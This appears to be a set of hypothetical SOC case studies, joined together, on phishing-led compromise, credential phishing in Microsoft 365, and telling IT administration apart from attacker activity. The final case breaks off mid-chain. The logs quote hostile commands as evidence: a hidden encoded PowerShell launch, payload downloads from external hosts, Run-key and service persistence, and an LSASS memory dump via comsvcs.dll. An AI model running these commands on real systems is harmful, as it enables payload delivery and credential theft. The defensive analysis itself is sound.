Overview

This investigation focused on a different SOC question:

How far did the attack spread?

Rather than analyzing one suspicious event in isolation, the objective was to correlate email, endpoint, network, authentication and file-share telemetry across multiple workstations.

The investigation involved three hosts:

• WS-FIN-007 — Alice Okafor, Finance
• WS-HR-012 — David Bello, HR
• WS-OPS-031 — James Eze, Operations

The investigation ultimately identified two affected hosts belonging to the same phishing campaign, while Host C remained unconfirmed for compromise.

1. Initial Alert

At 14:05 UTC, the SOC received an alert for suspicious PowerShell activity involving a Finance employee.

Initial investigation focused on WS-FIN-007.

The available telemetry showed a phishing email, malicious Word document execution, PowerShell activity, payload download, registry persistence, discovery commands and subsequent authentication activity involving another workstation.

2. Initial Access — Phishing Email

Alice received:

From: accounts@vendor-invoice-support.com
To: alice.okafor@company.com
Subject: Urgent: Updated Supplier Invoice
Attachment: Supplier_Invoice_8821.docm

The sending domain had been registered only 6 days earlier.

The same attachment and sender were subsequently observed targeting an HR employee.

This immediately suggested that the activity could represent a broader phishing campaign rather than an isolated event.

3. Host A — WS-FIN-007

Malicious Document Execution

At 08:47:31, Sysmon Event ID 1 recorded:

Image:
powershell.exe

ParentImage:
WINWORD.EXE

CommandLine:
powershell.exe -nop -w hidden -enc <Base64>

The parent-child relationship is significant.

WINWORD.EXE
     ↓
powershell.exe
     ↓
Encoded command

PowerShell executing from Microsoft Word in hidden mode with an encoded command is a strong indicator of malicious document execution.

4. Payload Download

One second later, PowerShell Script Block Logging recorded:

Invoke-WebRequest https://203.0.113.45/update.ps1

Sysmon Event ID 3 then recorded:

Image:
powershell.exe

Destination:
203.0.113.45:443

This establishes a clear relationship between the malicious PowerShell process and the external payload infrastructure.

5. Payload Creation

At 08:47:36, Sysmon Event ID 11 recorded:

C:\Users\alice\AppData\Roaming\Microsoft\update.ps1

The downloaded PowerShell payload was therefore written to the workstation.

The investigation had now progressed from:

Phishing
    ↓
Execution
    ↓
External payload retrieval
    ↓
Payload creation

6. Persistence

At 08:48:02, Sysmon Event ID 13 recorded a registry modification:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OfficeUpdate

C:\Users\alice\AppData\Roaming\Microsoft\update.exe

This establishes a persistence mechanism using the Windows Registry Run Key.

The attacker therefore attempted to maintain execution across user logons.

7. Discovery Activity

Later telemetry showed:

08:57:02

update.exe
    ↓
cmd.exe /c whoami

followed by:

08:57:04

update.exe
    ↓
cmd.exe /c net user

These commands represent discovery activity.

The attack had therefore progressed beyond initial execution and persistence into host/account enumeration.

8. Host B — WS-HR-012

The same phishing campaign was observed against David Bello.

Email

From: accounts@vendor-invoice-support.com
To: david.bello@company.com
Subject: Urgent: Updated Supplier Invoice
Attachment: Supplier_Invoice_8821.docm

The same sender and attachment were involved.

At 08:50:11, Sysmon recorded:

WINWORD.EXE
Parent: explorer.exe

Supplier_Invoice_8821.docm

Four seconds later:

powershell.exe
ParentImage:
WINWORD.EXE

The PowerShell command used the same encoded execution pattern.

9. Same Payload Infrastructure

Host B subsequently communicated with:

203.0.113.45:443

and created:

C:\Users\david\AppData\Roaming\Microsoft\update.ps1

This was highly significant.

Both hosts independently showed:

Same phishing attachment
        ↓
PowerShell execution
        ↓
Same external infrastructure
        ↓
Same payload filename/path

This provided strong evidence that the two hosts were part of the same campaign.

10. DNS Correlation

DNS telemetry further connected the hosts.

WS-FIN-007

08:47:33

vendor-invoice-support.com

WS-HR-012

08:50:15

vendor-invoice-support.com

The same suspicious domain was therefore resolved by both affected workstations.

11. Authentication Correlation

The investigation then revealed activity that suggested possible lateral movement.

At 08:55:21:

User: alice.okafor
Source: WS-FIN-007
Destination: DC01
Logon Type: 3
Status: Success

At 08:56:04:

User: alice.okafor
Source: WS-FIN-007
Destination: WS-HR-012
Logon Type: 3
Status: Success

At 08:56:17:

User: david.bello
Source: WS-HR-012
Destination: WS-FIN-007
Logon Type: 3
Status: Success

This sequence raised the hypothesis of credential or authenticated-session abuse between the two workstations.

12. File Share Activity

At 08:56:20, file-share telemetry showed:

Source:
WS-FIN-007

Account:
alice.okafor

Accessed:
\\WS-HR-012\C$\Users\david\AppData\Roaming\Microsoft\

This provided additional evidence that the activity was not limited to phishing delivery.

A compromised workstation associated with Alice’s account was accessing a sensitive administrative file-share path on David’s workstation.

This required immediate investigation for possible lateral movement and credential abuse.

13. Is Host C Compromised?

Host C was intentionally included as a potential false positive.

WS-OPS-031 showed:

EXCEL.EXE
    ↓
PowerShell
    ↓
Get-Service

and:

PowerShell
    ↓
10.0.0.15:443

It also contained:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\TeamsStartup

However, Host C did not show the strongest campaign indicators:

• No phishing attachment
• No connection to 203.0.113.45
• No vendor-invoice-support.com
• No update.ps1
• No relationship to the malicious Word document
• No malicious PowerShell parented by Word

Therefore:

Host C was not classified as compromised based on the available evidence.

However, it should remain under investigation because the PowerShell activity, network connection and Run Key modification require validation.

14. Patient Zero Assessment

The likely patient-zero host is:

WS-FIN-007
Alice Okafor

The reason is not simply that Alice received the phishing email first.

The available telemetry shows the earliest confirmed malicious endpoint execution on WS-FIN-007:

08:47:31
WINWORD.EXE
      ↓
PowerShell

This was followed by payload retrieval, persistence and discovery activity.

However, the evidence does not establish who first received or clicked the phishing email.

Therefore:

WS-FIN-007 is the likely patient-zero host based on the earliest observed malicious activity, but patient zero is not conclusively established.

15. Incident Scope

Based on the available telemetry:

Current scope

2 affected workstations

2 associated user accounts requiring containment/investigation

The scope should not be considered final until enterprise-wide IOC searches are completed.

16. Incident Verdict

Classification

Successful phishing campaign with multi-host compromise and suspected lateral movement.

Severity

HIGH

Primary attack vector

Phishing email with a malicious macro-enabled Word document.

Confirmed activity

• Malicious document execution
• PowerShell execution
• Payload download
• Payload creation
• Registry persistence on WS-FIN-007
• Discovery activity
• Cross-host authentication
• Administrative file-share access

17. Immediate Containment Priorities

Given limited SOC resources, containment should focus on stopping further execution and lateral movement.

Priority 1 — Isolate affected hosts

Immediately isolate:

WS-FIN-007
WS-HR-012

This prevents continued communication and potential lateral movement.

Priority 2 — Contain associated accounts

Restrict or temporarily disable the accounts where operationally appropriate, beginning with Alice’s account due to the stronger compromise evidence.

Priority 3 — Revoke sessions and reset credentials

Revoke active sessions/tokens and force password resets.

Treat credentials associated with the affected hosts as potentially compromised until identity investigation is complete.

Priority 4 — Block campaign infrastructure

Block or quarantine:

vendor-invoice-support.com
203.0.113.45

after validating the appropriate network-control scope.

Priority 5 — Search enterprise telemetry

Search across:

• Email gateway
• DNS
• Proxy
• EDR
• Windows Event Logs
• Sysmon
• Authentication logs
• File-share telemetry

for:

Supplier_Invoice_8821.docm
vendor-invoice-support.com
203.0.113.45
update.ps1
update.exe
OfficeUpdate

The objective is to identify additional victims and determine whether WS-FIN-007 and WS-HR-012 represent the full scope.

18. MITRE ATT&CK Mapping

19. Key SOC Lessons

This investigation reinforced several important SOC principles.

1. One malicious event does not define the incident

The important finding was not simply that PowerShell executed.

The investigation became significant when multiple telemetry sources connected the activity across hosts.

2. Campaign indicators are powerful correlation points

The same:

Sender
Attachment
Domain
IP
Payload
Execution pattern

appeared across multiple hosts.

This allowed the SOC to move from single-host detection to incident scoping.

3. Patient zero requires evidence

The earliest email recipient is not automatically patient zero.

The safest conclusion was:

WS-FIN-007 is the likely patient-zero host based on earliest observed malicious execution, but this is not conclusively established.

4. Not every suspicious host is compromised

Host C contained activity worth investigating, but there was insufficient evidence to connect it to the phishing campaign.

This prevents unnecessary containment and keeps the investigation evidence-driven.

5. Authentication telemetry can reveal lateral movement

The cross-host Logon Type 3 events and administrative file-share access significantly changed the scope of the investigation.

The SOC must therefore correlate:

Email
 ↓
Endpoint
 ↓
Network
 ↓
Authentication
 ↓
File Access

rather than investigating each telemetry source independently.

Conclusion

This case demonstrated the difference between alert triage and incident scoping.

The initial alert identified suspicious PowerShell activity on a Finance workstation. Correlation with email, DNS, Sysmon, authentication and file-share telemetry revealed that the activity was part of a broader phishing campaign affecting both Finance and HR.

WS-FIN-007 showed the most advanced compromise, including persistence and discovery activity, while WS-HR-012 showed the same malicious execution and payload activity.

WS-OPS-031 was not classified as compromised because the available evidence did not connect it to the campaign.

The final assessment was therefore:

High-severity, multi-host phishing compromise involving WS-FIN-007 and WS-HR-012, with suspected lateral movement and an unresolved patient-zero determination.

Overview

This investigation analyzes a phishing attack targeting an HR employee through a fake Microsoft password-expiration notification.

Unlike a simple phishing attempt where a user clicks a malicious link but does not provide credentials, this case progressed further. The user entered valid Microsoft 365 credentials, approved an MFA request, and a successful Microsoft 365 authentication subsequently originated from the same infrastructure associated with the phishing activity.

The investigation therefore focuses on determining exactly how far the attack progressed and separating confirmed credential compromise from evidence that would be required to prove broader endpoint or account compromise.

Alert Summary

1. Initial Phishing Email

The user received an email claiming that their Microsoft 365 password was about to expire.

Email

From:

hr-support@micr0soft-security.com

Subject:

Action Required: Password Expiration Notice

Message:

Your Microsoft 365 password will expire today. Please verify your account to prevent interruption of access.

URL:

https://micr0soft-security.com/verify

The message used urgency and an account-verification theme to encourage the recipient to click the link.

2. First Point of Suspicion

The first significant indicator was the phishing domain:

micr0soft-security.com

The domain uses typosquatting/brand impersonation, replacing the letter o in “Microsoft” with the number 0.

The domain also contains security.com, making it appear related to Microsoft security services.

Another important indicator was the domain age.

Domain registration age: 11 days

A newly registered domain combined with Microsoft impersonation and an urgent password-expiration message significantly increases the likelihood of phishing.

Important observation

The email passed:

These results do not establish that the sender or domain is legitimate.

Email authentication verifies aspects of domain authorization and message integrity; it does not determine whether the domain itself is trustworthy.

3. Proxy Investigation

The proxy telemetry shows the user interacting with the suspicious website.

10:27:14

michael.adeyemi → 104.21.55.72:443
URL: /verify
User-Agent: Chrome/140.0

The user initially accessed the phishing verification page.

10:27:22

michael.adeyemi → 104.21.55.72:443
URL: /login

The browser was then redirected to a login page.

10:28:03

michael.adeyemi → 104.21.55.72:443
URL: /login
HTTP POST observed

The HTTP POST is particularly significant because it indicates that information was submitted to the login endpoint.

4. User Interview

During the investigation, Michael stated:

“I clicked the link because I thought my password was expiring. The page looked like Microsoft. I entered my username and password. It then asked me to approve an MFA notification, which I did. After that it redirected me to Microsoft 365.”

This statement confirms that the user:

1. Clicked the phishing link.
2. Entered their username.
3. Entered their password.
4. Approved an MFA request.
5. Was subsequently redirected to Microsoft 365.

This moves the incident significantly beyond a simple phishing attempt.

5. Identity Investigation

At 10:28:17, Microsoft 365 recorded:

Successful authentication

User: michael.adeyemi
Source IP: 104.21.55.72
User-Agent: Chrome
MFA: Satisfied

This event occurred only 14 seconds after the HTTP POST to the phishing login page.

The sequence is highly significant:

10:28:03
Credential submission to phishing infrastructure
        ↓
10:28:17
Successful Microsoft 365 authentication
        ↓
MFA satisfied

Combined with the user’s admission that credentials were entered and MFA was approved, this provides strong evidence that the credentials were successfully captured and subsequently used.

6. Subsequent Authentication

At 10:31:42, another successful Microsoft 365 authentication was recorded:

User: michael.adeyemi
Source IP: 197.210.45.18
User-Agent: Chrome
MFA: Satisfied

At 10:32:01, Microsoft 365 recorded:

Microsoft 365 session established

Source IP: 197.210.45.18

This activity requires further investigation because it occurred shortly after the suspicious authentication.

The available telemetry does not, by itself, establish exactly who controlled each session. Therefore, this activity should be correlated with Michael’s expected location, device, browser session and normal authentication behavior.

7. Endpoint Investigation

Endpoint telemetry from WS-HR-014 showed:

No suspicious process creation
No PowerShell activity
No suspicious file creation
No malware alerts from EDR

This is important because the available evidence does not currently support an endpoint malware compromise.

The attack appears to have primarily targeted the user’s credentials and Microsoft 365 account rather than relying on malware execution on the workstation.

8. Attack Chain

Based on the available evidence:

Phishing Email
      ↓
Typosquatted Microsoft Domain
      ↓
Phishing Login Page
      ↓
Credential Submission
      ↓
MFA Approval
      ↓
Successful Microsoft 365 Authentication
      ↓
Microsoft 365 Session

Evidence-supported progression

Email received: Confirmed

Phishing URL accessed: Confirmed

Credentials submitted: Confirmed

MFA approval: Confirmed

Credentials subsequently used: Strongly supported / confirmed by authentication telemetry

Microsoft 365 account accessed: Strongly supported

Endpoint compromise: Not supported by current evidence

9. Incident Verdict

Classification

The incident should therefore be escalated beyond a phishing-only classification.

The strongest evidence is the combination of:

Credential submission
        +
MFA approval
        +
Successful Microsoft 365 authentication
        +
Subsequent Microsoft 365 session

10. Priority Investigation Steps

As a SOC analyst, I would prioritize the following actions.

1. Investigate Microsoft 365 sign-in activity

Review all authentication events surrounding the incident:

• Source IP
• Geographic location
• User-Agent
• Authentication method
• MFA details
• Device information
• Session timestamps

The goal is to determine whether the subsequent activity was legitimate or attacker-controlled.

2. Revoke active sessions

Terminate existing Microsoft 365 sessions and revoke active authentication tokens where supported.

This reduces the possibility of an attacker continuing to use an established session.

3. Force credential reset

Immediately reset Michael’s password and ensure the compromised password cannot continue to be used.

4. Investigate MFA activity

Review the MFA approval and authentication-method configuration for:

• Unexpected MFA registrations
• Additional authentication methods
• Suspicious MFA activity
• Repeated MFA prompts

5. Search for other phishing victims

Search the email gateway for:

micr0soft-security.com
hr-support@micr0soft-security.com
https://micr0soft-security.com/verify

Identify other recipients, clicks and users who may have submitted credentials.

6. Investigate Microsoft 365 account activity

Review activity following the suspicious authentication for:

• Mailbox access
• Email forwarding rules
• Inbox rules
• Suspicious outbound messages
• File access
• Privilege changes
• OAuth/application consent
• Additional suspicious sessions

7. Contain the phishing infrastructure

Block or quarantine the phishing domain and remove remaining messages containing the malicious indicators.

The IP should be evaluated carefully before blocking because infrastructure such as reverse proxies/CDNs can be shared.

8. Continue monitoring

Monitor Michael’s identity and endpoint for further authentication anomalies or suspicious activity.

11. SOC Incident Note

A staff member from the HR department received a phishing email impersonating Microsoft and was directed to micr0soft-security.com, a recently registered typosquatted domain. Proxy telemetry confirmed access to the phishing site, followed by an HTTP POST to its login endpoint at 10:28:03. The user confirmed entering their Microsoft 365 username and password and approving an MFA notification. At 10:28:17, a successful Microsoft 365 authentication was recorded from 104.21.55.72 with MFA satisfied, strongly supporting credential compromise and likely account compromise. A subsequent Microsoft 365 authentication and session were established from 197.210.45.18, requiring further investigation to determine whether the activity was legitimate or attacker-controlled. No suspicious process creation, PowerShell activity, file creation or EDR malware detection was observed on the endpoint. Recommended containment includes password reset, session/token revocation, MFA review, phishing IOC blocking and enterprise-wide IOC searching, followed by continued monitoring of the affected account.

12. Lessons Learned

This investigation demonstrates why a SOC analyst should avoid stopping at the initial phishing alert.

The important progression was:

Suspicious Email
      ↓
Malicious Link
      ↓
Credential Submission
      ↓
MFA Approval
      ↓
Successful Authentication
      ↓
Potential Account Takeover

A phishing email alone does not necessarily mean compromise.

However, once credentials are submitted and successful authentication occurs shortly afterward, the investigation must shift from phishing detection to identity compromise and account containment.

Another important lesson is that MFA satisfaction does not automatically make an authentication legitimate. In this case, the user was socially engineered into approving the MFA request after submitting credentials.

Finally, the absence of malicious endpoint telemetry is significant. The available evidence indicates a credential-focused attack rather than malware-based workstation compromise.

MITRE ATT&CK Mapping

Conclusion

The investigation confirms a successful credential-phishing attack against an HR employee.

The user interacted with a typosquatted Microsoft domain, submitted valid credentials, approved MFA, and a successful Microsoft 365 authentication occurred shortly afterward from infrastructure associated with the phishing activity.

At this stage, credential compromise is confirmed and account compromise is strongly supported, while there is insufficient evidence to classify the endpoint as compromised.

The appropriate SOC response is therefore to contain the identity compromise, investigate post-authentication activity, identify additional victims, remove the phishing infrastructure from the organization’s environment, and continue monitoring for further abuse.

Credential Phishing Analysis and Post-Click Investigation

1. Investigation Overview

This case study presents a hypothetical SOC investigation involving a phishing email impersonating Microsoft Security.

The exercise was designed to evaluate how a SOC analyst moves from:

Suspicious Email
      ↓
Sender Analysis
      ↓
Authentication Analysis
      ↓
URL Investigation
      ↓
User Interaction
      ↓
Endpoint Investigation
      ↓
Identity Investigation
      ↓
Impact Assessment

The objective was not simply to determine whether the email was malicious, but to determine:

• Why the message was malicious
• Whether authentication results changed the assessment
• Whether the user was actually compromised
• What telemetry should be investigated after the click
• How the SOC should contain the threat
• How to distinguish exposure from confirmed compromise

2. Scenario

The SOC received a report concerning a suspicious Microsoft 365 security email.

Email

From:
Microsoft Security <security@microsoft-login-alert.com>

To:
j.smith@company.com

Subject:
URGENT: Your Microsoft 365 account will be suspended

Date:
14 August 2026 08:42 UTC

Email Body

Microsoft Security Alert

Your Microsoft 365 account requires immediate verification.

Our security system detected unusual activity associated
with your account.

If you do not verify your account within 24 hours,
access to your mailbox will be suspended.

Verify your account here:

https://microsoft-login-alert.com/verify

Microsoft Security Team

The user reported that they clicked the link because they were concerned that their account would be disabled.

The user stated that the resulting Microsoft-style login page was closed before credentials were entered.

3. Email Authentication Results

The message returned:

SPF: PASS
DKIM: PASS
DMARC: PASS

At first glance, these results might appear reassuring.

However, authentication passing does not establish that an email is legitimate.

SPF, DKIM and DMARC primarily provide evidence about whether the message was authorized/authenticated according to the sending domain’s configured policies.

An attacker-controlled domain can also have properly configured email authentication.

Therefore:

SPF PASS
DKIM PASS
DMARC PASS

does not automatically mean:

BENIGN

The authentication results must be evaluated together with the sender domain, email content, URL infrastructure and user interaction.

4. First Point of Suspicion

Suspicious Sender Domain

The first major indicator was:

security@microsoft-login-alert.com

The sender presents itself as Microsoft Security, but the domain:

microsoft-login-alert.com

is not an official Microsoft-owned domain.

This creates a strong brand-impersonation indicator.

The display name:

Microsoft Security

does not establish legitimacy.

The domain behind the sender address is considerably more important.

5. URL Investigation

The email contained:

https://microsoft-login-alert.com/verify

The URL redirected to:

microsoft-login-alert.com/verify
        ↓
login-microsoft365-security.com/auth

The resulting page was designed to resemble a Microsoft 365 authentication page.

It requested:

Email address
Password

This significantly increased confidence that the objective of the campaign was credential harvesting.

The investigation therefore moved beyond:

“This looks like a suspicious email.”

to:

“The email contains infrastructure designed to impersonate Microsoft and solicit authentication credentials.”

6. Assessment

Verdict: Malicious

I assess the email as a credential-phishing attempt.

The assessment is based on the combination of:

1. Microsoft impersonation
2. A sender domain unrelated to Microsoft’s legitimate infrastructure
3. Urgency designed to pressure the user into acting
4. A suspicious authentication URL
5. Redirection to another Microsoft-themed domain
6. A fake Microsoft 365 login page
7. Collection of email addresses and passwords

The SPF, DKIM and DMARC passes do not overturn this assessment.

Instead, they indicate that the email was successfully authenticated according to the relevant domain configuration.

7. User Interaction and Compromise Assessment

This is where the investigation requires careful distinction.

The available evidence establishes:

Email received
      ↓
Link clicked
      ↓
Phishing page displayed
      ↓
User reports closing page
      ↓
No confirmed credential submission

Therefore, based on the currently available evidence:

Confirmed

• Malicious email received
• User clicked the phishing URL
• Phishing page was accessed

Not confirmed

• Credentials were submitted
• Credentials were stolen
• Microsoft account was compromised
• Malware was downloaded
• Endpoint was compromised

I would therefore describe the user as exposed to a credential-phishing attempt, rather than declaring the account compromised.

However, the user’s statement should not be treated as the only source of truth.

The SOC should verify the claim using telemetry.

8. Why User Statements Are Not Sufficient

A user may genuinely believe they did not submit credentials.

However, the SOC should verify the situation independently.

The investigation should determine whether authentication activity occurred after the phishing interaction.

For example:

Phishing click
      ↓
Credential submission?
      ↓
Successful authentication?
      ↓
Unusual source IP?
      ↓
New device?
      ↓
Impossible travel?
      ↓
Session/token activity?

The absence of a user-reported password submission does not eliminate the possibility of compromise.

9. Immediate Containment

My first containment action would be to block the malicious sender/domain and prevent further delivery or interaction with the phishing infrastructure.

Priority actions

1. Block sender/domain
        ↓
2. Search mail gateway for matching messages
        ↓
3. Remove/quarantine matching emails
        ↓
4. Block malicious URLs/domains
        ↓
5. Investigate affected user's endpoint
        ↓
6. Investigate identity authentication

The email gateway should be searched for other recipients.

This is important because a phishing campaign rarely targets only one employee.

10. Enterprise-Wide Email Search

I would search the email security platform for:

microsoft-login-alert.com
login-microsoft365-security.com

and other available indicators from the message.

The objective would be to identify:

• Other recipients
• Delivery status
• Click activity
• Additional messages from the sender
• Other related URLs
• Potentially compromised users

If additional copies are found, they should be quarantined or removed before other employees interact with them.

11. Endpoint Investigation

Because the user clicked the URL, I would investigate the endpoint for evidence of additional activity.

Relevant telemetry would include:

Sysmon Event ID 1

Process creation.

I would look for unexpected processes spawned around the time of the click.

For example:

Browser
   ↓
powershell.exe
   ↓
unknown.exe

would require immediate investigation.

Sysmon Event ID 3

Network connections.

I would investigate whether the endpoint established unexpected connections following the phishing interaction.

Sysmon Event ID 11

File creation.

I would determine whether the phishing interaction resulted in:

• File downloads
• Executables
• Scripts
• Archives
• Other suspicious files

Windows Event ID 4688

Process creation telemetry would provide additional visibility into processes launched around the event.

12. Identity Investigation

The next major investigation area would be the user’s Microsoft account.

I would investigate authentication activity around and after the phishing event.

Questions include:

• Did the account authenticate after the click?
• Was there a successful login from an unusual IP?
• Was a new device observed?
• Was MFA challenged?
• Was MFA successfully completed?
• Were there unusual geographic locations?
• Were sessions created from unfamiliar devices?
• Were mailbox or account settings modified?

The objective is to determine whether:

Phishing Exposure

became:

Credential Compromise

or:

Account Takeover

13. Splunk Investigation

If relevant endpoint telemetry is available in Splunk, I would begin by investigating activity around the phishing event.

For example:

index=wineventlog earliest=-2h latest=+2h
(EventCode=4688 OR EventCode=4624 OR EventCode=4625)
| table _time host EventCode AccountName ParentImage NewProcessName CommandLine Source_Network_Address
| sort _time

I would then pivot into:

Account
    ↓
Host
    ↓
LogonGUID
    ↓
ProcessGUID
    ↓
Network activity

The exact query would depend on the fields available in the environment.

14. Investigation Questions

The investigation should answer:

Email

• Who else received the message?
• Was the message delivered successfully?
• Were there additional related emails?

URL

• What domains were involved?
• Where did the URL redirect?
• Was the page collecting credentials?
• What infrastructure hosted the phishing page?

Endpoint

• Did the user download anything?
• Did any suspicious process execute?
• Did the browser spawn unusual child processes?
• Were there unexpected network connections?

Identity

• Did the user authenticate after clicking?
• Were there unusual successful logins?
• Were sessions created from unfamiliar locations or devices?
• Was MFA triggered or bypassed?

Impact

• Was the account compromised?
• Was mailbox data accessed?
• Were rules or forwarding settings created?
• Did the attacker attempt further activity?

15. Preliminary Severity

Severity: Medium

I would initially assign a Medium preliminary severity because:

• The email is assessed as malicious.
• The user interacted with the phishing URL.
• The destination requested authentication credentials.
• The attack directly targeted an enterprise identity.

However, severity should be refined as additional evidence becomes available.

There is an important distinction between:

High-risk exposure

and:

Confirmed account compromise

At the current stage, the evidence supports the former.

If authentication logs demonstrate that stolen credentials were subsequently used, the incident severity and scope should be escalated accordingly.

16. Recommended Detection Improvements

This case also demonstrates several opportunities for improving detection.

Email Security

Detect:

• Microsoft impersonation
• Newly observed sender domains
• Lookalike domains
• Credential-harvesting URLs
• Microsoft-themed domains outside Microsoft’s legitimate infrastructure

Endpoint

Correlate:

Phishing URL click
      ↓
Browser activity
      ↓
File creation
      ↓
Process execution
      ↓
Network connection

Identity

Alert on:

Phishing interaction
      ↓
Successful authentication
      ↓
Unusual source/device/location

This type of correlation can help identify account compromise following phishing activity.

17. Lessons Learned

The most important lesson from this investigation is that email authentication is only one part of the investigation.

A message can pass:

SPF
DKIM
DMARC

and still be malicious.

The analyst must correlate:

Sender
   ↓
Authentication
   ↓
Domain
   ↓
URL
   ↓
User interaction
   ↓
Endpoint
   ↓
Identity
   ↓
Impact

Another important lesson is the distinction between exposure and compromise.

A user clicking a phishing link is serious, but it does not automatically prove that credentials were stolen.

The SOC must investigate the evidence before making that determination.

18. Final Analyst Assessment

Verdict

Malicious — Credential Phishing

User Status

Exposed; compromise not currently confirmed

Primary Risks

• Credential theft
• Microsoft 365 account takeover
• Session/token compromise
• Follow-on identity attacks

Immediate Actions

Block malicious sender/domain
        ↓
Search and remove campaign emails
        ↓
Block phishing URLs/domains
        ↓
Investigate endpoint telemetry
        ↓
Review identity authentication
        ↓
Continue monitoring the affected account

19. SOC Analyst Takeaway

This exercise reinforced an important SOC investigation principle:

Do not stop at identifying the phishing email. Determine what happened after the user interacted with it.

The real investigation begins when we ask:

Did they click?
      ↓
Did they submit credentials?
      ↓
Did the account authenticate elsewhere?
      ↓
Did the endpoint execute anything?
      ↓
Did the attacker gain persistence?
      ↓
Was organizational data accessed?

That progression turns a phishing alert into a defensible incident assessment.

Skills Demonstrated

Through this investigation, I practiced:

• Phishing analysis
• Email authentication analysis
• Sender/domain investigation
• URL and redirect analysis
• Credential-phishing detection
• User interaction assessment
• Windows endpoint telemetry analysis
• Splunk investigation methodology
• Identity investigation
• Incident severity assessment
• Containment planning
• SOC reporting

Conclusion

This hypothetical investigation strengthened my understanding of how a SOC analyst should investigate phishing beyond simply identifying a malicious email.

The key objective is to establish the complete chain:

Email → Interaction → Endpoint → Identity → Impact

By separating confirmed evidence from assumptions, the analyst can avoid both underestimating a potential compromise and prematurely declaring an account compromised without supporting evidence.

Author

Precious Anyanwu

```

Overview

This hypothetical SOC investigation examines activity involving ITSupport02 across CLIENT60, CLIENT61, DC01, and FILESERVER02.

The exercise is designed around an important SOC challenge: legitimate administrative activity can closely resemble attacker behavior. The investigation therefore begins without assuming compromise and progressively evaluates the evidence until the activity crosses the threshold for incident declaration.

The key investigative question is:

At what point does legitimate IT administration end and attacker behavior begin?

Investigation Environment

Telemetry Under Investigation

The following is the complete telemetry available to the analyst.

08:41:12 — CLIENT60
4624

Account: ITSupport02
Logon Type: 2

08:42:03 — CLIENT60
4104

Get-Service

08:42:17 — CLIENT60
4104

Get-Process

08:43:02 — CLIENT60
4104

Get-ADComputer -Filter *

08:44:11 — CLIENT60
4688

powershell.exe

Enter-PSSession -ComputerName CLIENT61

08:44:15 — CLIENT61
4624

Account: ITSupport02
Logon Type: 3
Source: CLIENT60

08:44:32 — CLIENT61
4104

Get-Service

08:44:51 — CLIENT61
4104

Get-ADGroupMember "Domain Admins"

08:45:13 — DC01
4769

Account: ITSupport02
Service:

cifs/FILESERVER02

08:45:22 — FILESERVER02
4624

Account: ITSupport02
Logon Type: 3
Source: CLIENT61

08:45:39 — FILESERVER02
4663

Object:

\\FILESERVER02\IT\DeploymentPackages.zip

Access:

ReadData

08:46:08 — CLIENT61
4104

Invoke-WebRequest
https://updates-example.net/support.zip
-OutFile C:\ProgramData\support.zip

08:46:19 — CLIENT61
Sysmon Event ID 11

File Created:

C:\ProgramData\support.zip

08:46:51 — CLIENT61
4688

7z.exe

7z.exe x C:\ProgramData\support.zip
-oC:\ProgramData\Support

08:47:04 — CLIENT61
Sysmon Event ID 1

Process:

supportsvc.exe

Parent:

7z.exe

08:47:09 — CLIENT61
Sysmon Event ID 3

supportsvc.exe
        ↓
185.220.101.44
        ↓
443

08:47:31 — CLIENT61
4688

sc.exe create WindowsSupport
binPath= C:\ProgramData\Support\supportsvc.exe

08:47:46 — CLIENT61
7045

Service Name:

WindowsSupport

Image Path:

C:\ProgramData\Support\supportsvc.exe

08:48:20 — CLIENT61
4688

rundll32.exe

comsvcs.dll, MiniDump 612
C:\ProgramData\lsass.dmp full

08:48:39 — CLIENT61
Sysmon Event ID 11

File Created:

C:\ProgramData\lsass.dmp

1. Where Does Legitimate Activity End?

I would place the last potentially legitimate activity around:

08:45:39 — FILESERVER02
4663

\\FILESERVER02\IT\DeploymentPackages.zip

ReadData

There is a plausible administrative explanation for the activity before this point.

ITSupport02 logs onto CLIENT60, performs basic system discovery, enumerates computers in Active Directory, and remotely connects to CLIENT61.

That could represent normal IT support activity.

Even the access to:

\\FILESERVER02\IT\DeploymentPackages.zip

could be legitimate if the IT team uses a centralized deployment package repository.

However, the investigation becomes substantially more suspicious once an external archive is downloaded directly to CLIENT61.

2. First Point of Suspicion

My first significant suspicion is:

08:44:51 — CLIENT61
4104

Get-ADGroupMember "Domain Admins"

The command itself is not malicious.

However, the context makes it suspicious.

The sequence is:

ITSupport02
      ↓
CLIENT60
      ↓
AD computer discovery
      ↓
CLIENT61
      ↓
Domain Admin enumeration

A Helpdesk or IT support administrator could legitimately perform this type of discovery, so I would initially classify this as:

Suspicious — requiring further investigation.

I would not declare an incident at this point.

The subsequent activity is what determines whether the suspicion develops into a confirmed security incident.

3. Incident Declaration

I would declare the incident at:

08:47:09 — CLIENT61

supportsvc.exe
        ↓
185.220.101.44
        ↓
443

At this point, the telemetry shows a compelling attack sequence:

External archive downloaded
        ↓
Archive extracted
        ↓
supportsvc.exe executed
        ↓
supportsvc.exe communicates externally

The situation becomes even more serious because the destination IP has reportedly been identified through threat intelligence as malicious infrastructure.

However, I would be precise in the report:

The malicious reputation of the IP is a strong corroborating indicator, but the strongest evidence comes from the entire correlated sequence, rather than the IP reputation alone.

I would then escalate immediately when the service persistence and LSASS dump appear.

In particular:

08:47:46
7045
WindowsSupport

followed by:

08:48:20
rundll32.exe
comsvcs.dll, MiniDump

provides extremely strong evidence of malicious post-compromise activity.

4. Is ITSupport02 → CLIENT61 Automatically Malicious?

No.

This is an important distinction.

The following sequence is entirely capable of representing legitimate IT administration:

CLIENT60
    ↓
PowerShell
    ↓
Enter-PSSession CLIENT61
    ↓
4624 Type 3
    ↓
Get-Service

IT support personnel commonly use remote PowerShell sessions to:

• Troubleshoot systems
• Inspect services
• Review running processes
• Install software
• Perform maintenance
• Respond to support requests

Therefore, I would not classify the remote session itself as malicious.

The risk changes because the activity subsequently progresses from administration into:

AD privileged-account discovery
        ↓
External download
        ↓
Payload execution
        ↓
External communication
        ↓
Service persistence
        ↓
LSASS memory dumping

That progression is inconsistent with ordinary troubleshooting unless there is compelling organizational evidence explaining every step.

5. Reconstructed Attack Chain

The complete sequence can be reconstructed as follows:

ITSupport02
      ↓
CLIENT60
      ↓
Interactive Logon
4624 Type 2
      ↓
Get-Service
Get-Process
      ↓
Get-ADComputer -Filter *
      ↓
PowerShell Remoting
Enter-PSSession CLIENT61
      ↓
CLIENT61
4624 Type 3
      ↓
Get-Service
      ↓
Get-ADGroupMember "Domain Admins"
      ↓
DC01
4769
CIFS/FILESERVER02
      ↓
FILESERVER02
4624 Type 3
      ↓
DeploymentPackages.zip
ReadData
      ↓
CLIENT61
